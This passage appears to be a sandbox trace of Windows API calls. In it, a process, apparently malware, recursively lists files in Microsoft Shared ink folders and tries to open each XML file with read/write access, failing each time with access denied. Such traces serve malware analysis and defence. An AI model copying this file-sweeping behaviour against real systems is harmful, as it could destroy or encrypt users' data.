param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0086.381] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.381] GetLastError () returned 0x5 [0086.381] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f774659, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x264b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-changjei.xml", cAlternateFileName="")) returned 1 [0086.381] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0086.382] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.383] GetLastError () returned 0x5 [0086.383] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-dayi.xml", cAlternateFileName="")) returned 1 [0086.383] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0086.383] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.383] GetLastError () returned 0x5 [0086.383] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 1 [0086.383] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0086.383] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.385] GetLastError () returned 0x5 [0086.385] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 0 [0086.385] FindClose (in: hFindFile=0x48c7168 | out: hFindFile=0x48c7168) returned 1 [0086.387] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f513079, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f513079, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f513079, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x9655, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.xml", cAlternateFileName="")) returned 1 [0086.387] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0086.387] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.388] GetLastError () returned 0x5 [0086.388] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers", cAlternateFileName="")) returned 1 [0086.388] wsprintfW (in: param_1=0x65772f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers") returned 72 [0086.388] wsprintfW (in: param_1=0x6574870, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*.*") returned 76 [0086.388] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*.*", lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7168 [0086.388] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.388] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 1 [0086.388] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0086.388] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.389] GetLastError () returned 0x5 [0086.389] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 0 [0086.389] FindClose (in: hFindFile=0x48c7168 | out: hFindFile=0x48c7168) returned 1 [0086.389] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f79a7b7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f79a7b7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7c0915, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers.xml", cAlternateFileName="")) returned 1 [0086.389] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0086.389] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.391] GetLastError () returned 0x5 [0086.391] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu", cAlternateFileName="")) returned 1 [0086.391] wsprintfW (in: param_1=0x65772f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu") returned 72 [0086.391] wsprintfW (in: param_1=0x6574870, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*.*") returned 76 [0086.392] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*.*", lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7168 [0086.393] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.393] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 1 [0086.393] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0086.393] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.395] GetLastError () returned 0x5 [0086.395] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 0 [0086.395] FindClose (in: hFindFile=0x48c7168 | out: hFindFile=0x48c7168) returned 1 [0086.395] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f80cbd1, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f80cbd1, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f832d2f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1 [0086.395] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0086.395] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.396] GetLastError () returned 0x5 [0086.396] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad", cAlternateFileName="OSKNUM~1")) returned 1 [0086.396] wsprintfW (in: param_1=0x65772f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad") returned 74 [0086.396] wsprintfW (in: param_1=0x6574870, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*.*") returned 78 [0086.396] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*.*", lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7168 [0086.396] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.396] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 1 [0086.396] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0086.396] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.397] GetLastError () returned 0x5 [0086.397] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 0 [0086.397] FindClose (in: hFindFile=0x48c7168 | out: hFindFile=0x48c7168) returned 1 [0086.397] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdb3fc5, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdb3fc5, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdb3fc5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1 [0086.397] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0086.397] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.398] GetLastError () returned 0x5 [0086.398] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred", cAlternateFileName="")) returned 1 [0086.399] wsprintfW (in: param_1=0x65772f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred") returned 72 [0086.399] wsprintfW (in: param_1=0x6574870, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*.*") returned 76 [0086.399] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*.*", lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7168 [0086.399] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.399] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 1 [0086.399] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0086.399] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.401] GetLastError () returned 0x5 [0086.401] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 0 [0086.401] FindClose (in: hFindFile=0x48c7168 | out: hFindFile=0x48c7168) returned 1 [0086.401] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe00281, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe00281, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe00281, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred.xml", cAlternateFileName="")) returned 1 [0086.401] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0086.401] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.401] GetLastError () returned 0x5 [0086.402] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, 